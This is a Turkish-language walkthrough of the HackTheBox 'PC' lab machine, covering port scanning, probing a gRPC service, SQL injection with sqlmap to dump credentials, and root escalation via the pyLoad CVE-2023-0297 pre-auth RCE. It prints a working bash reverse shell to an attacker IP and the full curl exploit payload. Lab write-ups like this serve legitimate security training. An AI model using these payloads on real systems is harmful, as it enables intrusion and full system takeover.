HackTheBox: PC
Özet
Sistem üzerinde varsayılan portların dışında çalışan bir servisi buluyoruz ve SQL Injection yöntemiyle kullanıcı bilgilerini çalıp sisteme giriş yapıyoruz. Sistem içerisinde root yetkisi ile çalışan python paketi içindeki RCE zafiyetini kullanarak root yetkisine erişiyoruz.
Nmap
# Nmap 7.93 scan initiated Wed May 24 09:01:04 2023 as: nmap -sC -sV -Pn -oN nmap/PC 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.092s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 24 09:01:25 2023 -- 1 IP address (1 host up) scanned in 21.27 secondsNmap’in varsayılan olarak taradığı 1000 portun içinde sadece SSH servisi açıktı. Bunun üzerinde tüm portlar tarandığında Nmap’in ne olduğunu algılayamadığı 50051 portu’nun açık olduğu görülmektedir.
# Nmap 7.93 scan initiated Wed May 24 10:12:29 2023 as: nmap -p- -v -Pn -oN nmap/allports 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.075s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed May 24 10:24:06 2023 -- 1 IP address (1 host up) scanned in 696.38 secondsBilinmeyen Servis
Port’un ne olduğunu anlayabilmek için nc aracı ile port’a bağlanıyorum ve servisten ne olduğunu anlamadığım byte’lar geliyor.
$ xxd input
00000000: 0000 1804 0000 0000 0000 0400 3fff ff00 ............?...
00000010: 0500 3fff ff00 0600 0020 00fe 0300 0000 ..?...... ......
00000020: 0100 0004 0800 0000 0000 003f 0000 ...........?..xServisin ne olduğunu anlamak için port’a bağlanıyorum ve sadece bekliyorum. Bir süre bekledikten sonra HTTP/2 bağlantı timeout hatası alıyorum.
$ nc 10.10.11.214 50051
▒?��?�� ?@Did not receive HTTP/2 settings before handshake timeoutBunun üzerine curl üzerinden http/2 bağlantısı kurup servis ile iletişime geçebiliyorum. Servis ileşitim sırasında TLS protokolünü kullanmıyor.
gRPC
$ curl -v --http2-prior-knowledge 10.10.11.214:50051
* Trying 10.10.11.214:50051...
* Connected to 10.10.11.214 (10.10.11.214) port 50051 (#0)
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: http]
* h2h3 [:authority: 10.10.11.214:50051]
* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x55c84dd229e0)
> GET / HTTP/2
> Host: 10.10.11.214:50051
> user-agent: curl/7.88.1
> accept: */*
>
< HTTP/2 200
< content-type: application/grpc
< grpc-status: 2
< grpc-message: Bad method header
<
* Connection #0 to host 10.10.11.214 left intactServisin ‘grpc’ servisi olduğunu anlıyoruz. Bunun üzerine biraz araştırma yapıp servis hakkında biraz daha bilgi ediniyorum.
$ curl -v --http2-prior-knowledge -X POST 10.10.11.214:50051
...[snip]...
> POST / HTTP/2
> Host: 10.10.11.214:50051
> user-agent: curl/7.88.1
> accept: */*
>
< HTTP/2 200
< content-type: application/grpc
< grpc-status: 2
< grpc-message: Missing :te header
<
* Connection #0 to host 10.10.11.214 left intact
$ curl -v --http2-prior-knowledge -X POST -H "TE: trailers" 10.10.11.214:50051
...[snip]...
> POST / HTTP/2
> Host: 10.10.11.214:50051
> user-agent: curl/7.88.1
> accept: */*
> te: trailers
>
< HTTP/2 200
< content-type: application/grpc
< grpc-status: 12
< grpc-message: Method not found!
<
* Connection #0 to host 10.10.11.214 left intactServis ile daha stabil bağlantı kurabilmek ve daha kolay iletişim sağlamak için servis ile iletişimi web arayüzüne taşıyan bir program kullanmaya başlıyorum: gRPC UI
Daha sonra sisteme kayıt oluyorum ve giriş yapıyorum. Bu kısımlarda SQL Injection denediğim halde herhangi bir sonuç alamıyorum. Sisteme giriş yapınca bana bir token veriyor. Bu token’i kullanarak servisteki getInfo komutunu kullanabiliyorum.
SQL Injection
sqlmap ile bu getInfo komutunda id girişinde bir tarama yaptığımda bu kısmın SQL Injection’a açık olduğunu görüyorum ve kayıtlı olan şifrelere olaşıyorum. Burada ‘sau’ kullanıcı adı ve şifresini SSH üzerinden denediğimde sisteme giriş yapabiliyorum ve user.txt dosyasına erişiyorum.
...[snip]...
[05:19:32] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[05:19:32] [INFO] fetching columns for table 'accounts'
[05:19:32] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[3 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| H*********1 | sau |
| tester | tester |
+------------------------+----------+
[05:19:32] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/accounts.csv'
[05:19:32] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 05:19:32 /2023-05-26/SSH
$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
Last login: Fri May 26 09:07:36 2023 from 10.10.16.69
sau@pc:~$ ls
user.txt
sau@pc:~$ wc -c user.txt
33 user.txt
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)Sistem üzerinde biraz araştırma yaptıktan sonra ‘9666 ’ve ‘8000 ’port’larının açık olduğunu görüyorum. Bu port’lar üzerinde araştırma yapıyorum ve port’ların ‘pyLoad’ servisine ait olduklarını görüyorum.
$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:9666 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 *:50051 *:* Privilege Escalation
Bu servislerin ‘root’ yetkisi ile çalıştırıldığını görüyorum ve bunun üzerine servis üzerinde araştırma yapmaya başlıyorum.
$ ps aux|grep pyload
root 1055 0.1 2.1 1239780 85748 ? Ssl 10:24 0:13 /usr/bin/python3 /usr/local/bin/pyload‘PyLoad’ servisi üzerinde biraz araştırma yaptıktan sonra CVE-2023–0297 CVE’li ‘Pre-auth RCE’ zafiyeti içerdiğini buluyorum. Bunun üzerine https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad adresindeki payload’ı kullanarak root seviyesine erişiyorum.
Get Ensar Gök’s stories in your inbox
Join Medium for free to get updates from this writer.
Öncelikte /dev/shm/exploit.sh adresine revershel shell’imi yazıyorum ve payload’ı çalıştırıyorum.
sau@pc:/dev/shm$ cat exploit.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.30/9001 0>&1
sau@pc:/dev/shm$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/dev/shm/exploit.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.214] 48528
bash: cannot set terminal process group (1055): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# wc -c /root/root.txt
33 root.txtPayload’ı çalıştırdıktan sonra root.txt dosyasına erişiyorum.








